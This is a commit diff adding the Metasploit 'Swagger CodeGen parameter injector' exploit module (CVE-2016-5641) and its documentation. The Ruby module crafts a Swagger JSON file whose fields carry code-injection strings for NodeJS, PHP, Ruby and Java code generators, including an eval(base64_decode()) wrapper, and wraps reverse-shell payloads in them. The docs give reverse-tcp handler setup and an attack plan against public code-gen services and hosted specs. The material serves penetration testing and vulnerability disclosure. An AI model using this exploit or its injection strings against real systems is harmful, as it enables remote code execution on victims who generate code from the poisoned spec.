commit
058115c21f
|
@ -0,0 +1,115 @@
|
||||||
|
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
|
||||||
|
|
||||||
|
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
|
||||||
|
|
||||||
|
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Start a callback handler listening for a the appropriate payload (e.g.)
|
||||||
|
|
||||||
|
```
|
||||||
|
use exploit/multi/handler
|
||||||
|
set PAYLOAD nodejs/shell_reverse_tcp
|
||||||
|
|
||||||
|
set LHOST 192.168.68.138
|
||||||
|
set LPORT 4444
|
||||||
|
|
||||||
|
run
|
||||||
|
```
|
||||||
|
3. Pick a target
|
||||||
|
|
||||||
|
## Targets
|
||||||
|
|
||||||
|
**NodeJS**
|
||||||
|
|
||||||
|
This attack injects a payload into javascript by terminating a URL path string.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD nodejs/shell_reverse_tcp
|
||||||
|
set INFO_VERSION "1.0.0"
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
**PHP**
|
||||||
|
|
||||||
|
This attack injects a payload into PHP multiline comment area.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD php/meterpreter/reverse_tcp
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
**ruby**
|
||||||
|
|
||||||
|
This attack injects a payload into ruby multiline comment area.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD ruby/shell_reverse_tcp
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
**Java**
|
||||||
|
|
||||||
|
This attack injects a payload into Java by terminating a URL path string.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
use exploit/multi/fileformat/swagger_param_inject
|
||||||
|
set PAYLOAD java/jsp_shell_reverse_tcp
|
||||||
|
set SWAGGER_HOST "localhost"
|
||||||
|
run
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Test
|
||||||
|
|
||||||
|
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
Effective against services with either these dependencies
|
||||||
|
|
||||||
|
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
|
||||||
|
* public API [generator.swagger.io](http://generator.swagger.io/)
|
||||||
|
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
|
||||||
|
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
|
||||||
|
|
||||||
|
**Possible Attack approach.**
|
||||||
|
|
||||||
|
1. Research the target environment and component dependencies.
|
||||||
|
2. Setup appropriate payload callback listener.
|
||||||
|
3. generate the appropriate swagger document with associated MS payload (see above for examples)
|
||||||
|
|
||||||
|
|
||||||
|
**Against a webservice (2nd order attack / blind code-gen)**
|
||||||
|
|
||||||
|
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
|
||||||
|
|
||||||
|
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||||
|
5. Wait for callback handler event.
|
||||||
|
|
||||||
|
**Against a code repository or public hosting of spec**
|
||||||
|
|
||||||
|
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
|
||||||
|
|
||||||
|
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||||
|
5. Wait for callback handler event.
|
||||||
|
|
|
@ -227,6 +227,7 @@ class Exploit
|
||||||
'php/meterpreter/reverse_tcp',
|
'php/meterpreter/reverse_tcp',
|
||||||
'php/meterpreter_reverse_tcp',
|
'php/meterpreter_reverse_tcp',
|
||||||
'ruby/shell_reverse_tcp',
|
'ruby/shell_reverse_tcp',
|
||||||
|
'nodejs/shell_reverse_tcp',
|
||||||
'cmd/unix/interact',
|
'cmd/unix/interact',
|
||||||
'cmd/unix/reverse',
|
'cmd/unix/reverse',
|
||||||
'cmd/unix/reverse_perl',
|
'cmd/unix/reverse_perl',
|
||||||
|
|
|
@ -0,0 +1,162 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# Gems
|
||||||
|
#
|
||||||
|
require 'base64'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Project
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'JSON Swagger CodeGen Parameter Injector',
|
||||||
|
'Description' => %q{
|
||||||
|
This module generates a Open API Specification 2.0 (Swagger) compliant
|
||||||
|
json document that includes payload insertion points in parameters.
|
||||||
|
|
||||||
|
In order for the payload to be executed, an attacker must convince
|
||||||
|
someone to generate code from a specially modified swagger.json file
|
||||||
|
within a vulnerable swagger-codgen appliance/container/api/service,
|
||||||
|
and then to execute that generated code (or include it into software
|
||||||
|
which will later be executed by another victim). By doing so, an
|
||||||
|
attacker can execute arbitrary code as the victim user. The same
|
||||||
|
vulnerability exists in the YAML format.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'ethersnowman <scott_davis@rapid7.com>'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
|
||||||
|
],
|
||||||
|
'Platform' => %w{ nodejs php java ruby },
|
||||||
|
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
|
||||||
|
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
|
||||||
|
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
|
||||||
|
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jun 23 2016',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
|
||||||
|
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
|
||||||
|
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
|
||||||
|
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
|
||||||
|
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
|
||||||
|
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
|
||||||
|
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
|
||||||
|
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
|
||||||
|
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
|
||||||
|
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
|
||||||
|
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def swagger
|
||||||
|
%Q(
|
||||||
|
{
|
||||||
|
"swagger": "2.0",
|
||||||
|
"info": {
|
||||||
|
"description": "#{datastore['INFO_DESCRIPTION']}",
|
||||||
|
"version": "#{datastore['INFO_VERSION']}",
|
||||||
|
"title": "#{datastore['INFO_TITLE']}"
|
||||||
|
},
|
||||||
|
"schemes": [
|
||||||
|
"#{datastore['SWAGGER_SCHEME']}"
|
||||||
|
],
|
||||||
|
"host": "#{datastore['SWAGGER_HOST']}",
|
||||||
|
"basePath": "#{datastore['BASE_PATH']}",
|
||||||
|
"produces": [
|
||||||
|
"application/json"
|
||||||
|
],
|
||||||
|
"consumes": [
|
||||||
|
"application/json"
|
||||||
|
],
|
||||||
|
"paths": {
|
||||||
|
"#{datastore['PATH']}": {
|
||||||
|
"get": {
|
||||||
|
"description": "#{datastore['PATH_DESCRIPTION']}",
|
||||||
|
"responses": {
|
||||||
|
"200": {
|
||||||
|
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
|
||||||
|
"schema": {
|
||||||
|
"$ref": "#/definitions/d"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"definitions": {
|
||||||
|
"d": {
|
||||||
|
"type": "object",
|
||||||
|
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
|
||||||
|
"properties": {
|
||||||
|
"id": {
|
||||||
|
"type": "integer",
|
||||||
|
"format": "int64"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
case payload.arch[0]
|
||||||
|
when 'nodejs'
|
||||||
|
payload_loc = 'PATH'
|
||||||
|
payload_prefix = "/a');};};return exports;}));"
|
||||||
|
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
|
||||||
|
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
|
||||||
|
when 'php'
|
||||||
|
payload_loc = 'INFO_DESCRIPTION'
|
||||||
|
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
|
||||||
|
payload_suffix = "')); /*"
|
||||||
|
wrapped_payload = payload_prefix +
|
||||||
|
Base64.strict_encode64(payload.encoded) +
|
||||||
|
payload_suffix
|
||||||
|
when 'ruby'
|
||||||
|
payload_loc = 'INFO_TITLE'
|
||||||
|
payload_prefix = "=end "
|
||||||
|
payload_suffix = "=begin "
|
||||||
|
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
|
||||||
|
when 'java'
|
||||||
|
payload_loc = 'PATH'
|
||||||
|
payload_prefix = %q{a\\\"; "}
|
||||||
|
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
||||||
|
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
||||||
|
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
||||||
|
wrapped_payload = payload_prefix + p
|
||||||
|
else
|
||||||
|
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
|
||||||
|
end
|
||||||
|
|
||||||
|
datastore[payload_loc] = wrapped_payload
|
||||||
|
|
||||||
|
print_status swagger
|
||||||
|
file_create swagger
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue